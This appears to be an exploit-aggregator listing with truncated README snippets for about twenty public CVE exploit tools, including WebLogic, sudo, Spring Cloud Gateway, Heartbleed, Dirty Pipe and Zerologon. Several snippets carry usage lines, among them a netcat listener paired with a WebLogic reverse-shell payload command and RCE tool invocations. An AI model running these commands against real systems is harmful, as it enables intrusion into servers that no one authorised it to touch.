CVE-2017-15120_PoC

CVE-2017-15120PoC PowerDNS CVE-2017-15120 / DO NOT ABUSE...

Baron-Samedit

Baron-Samedit Exploit and Demo system for CVE-2021-3156...

ShardingSphere_CVE-2020-1947

This repository does not have a README...

CVE-2022-47966

CVE-2022-47966 ManageEngine RCE 2022 This repo is part of the hgrab-framework Installation Install the app on the server root@kitploit: user@domain: git clone https://github.com/sh4den/CVE-2022-47966.git user@domain: cd ./CVE-2022-47966/ user@domain: python3 main.py The list file must contain the...

CVE-2018-16156-Exploit

CVE-2018-16156-Exploit...

cve-2019-9081

cve-2019-9081 exp generate payload Just pass the payload as a parameter...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

NTP_CVE-2013-5211

NTPCVE-2013-5211 Exploit and check CVE-2013-5211...

CVE-2021-43798-Exploit-for-Windows-and-Linux

CVE-2021-43798-Exploit-for-Windows-and-Linux Modified exploit for CVE-2021-43798. Original exploit code: https://www.exploit-db.com/exploits/50581 Changes: This modified version is compatible with both Windows and Linux underlying servers. When a user enters an absolute path Eg:...

CVE-2020-17519-Exp

CVE-2020-17519-Exp CVE-2020-17519 EXP...

CVE-2018-2893

CVE-2018-2893 Can directly bounce a reverse shell Usage Listen root@kitploit: nc -lvvp reverseport Send payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Reference bigsizeme pyn3rd Note For testing and learning purposes only, do not use for other purposes...

sudo_exploit

sudoexploit own implementation of the CVE-2017-1000367 sudo privilege escalation vulnerability in python...

CNTA-2019-0014xCVE-2019-2725

CNTA-2019-0014-CVE-2019-2725 Disclaimer: This tool is only for security testing and learning purposes. Illegal use is prohibited. root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux For detailed analysis, please visit: https://icematcha.win/?p=1174...

Phpweb-Getshell-py

Phpweb-Getshell-py Phpweb=2.0.35 Usage tutorial, please refer to www.0-sec.org...

optionsbleed

optionsbleed CVE-2017-9798...

dpipe

dpipe Proof-of-concept exploit for the Dirty Pipe vulnerability CVE-2022-0847...

CVE-2014-160

CVE-2014-160 exploit Use like this: ./cve-2014-160 dvwa.local https && strings datadump.bin...

cve-2020-11651-exp-plus

Use bash to execute the --exec parameter. The original script uses /bin/sh, so some commands are incompatible, such as bash reverse shell. 2. The original code retrieves the local salt-master version to determine if the remote host is affected, which is a clear logical error. I directly removed...

0logon

This repository does not have a README...

CVE-2021-25641

CVE-2021-25641 A Exploit Tool For CVE-2021-25641. All dependencies was packed,You don't care the dependencies problem If you have dependencies you can just donwload the CVE-2021-25641.jar to run. Used for: Basic dubbo-common =2.7.3 Dubbo 2.7.0 to 2.7.8 Dubbo 2.6.0 to 2.6.9 Dubbo all 2.5.x version...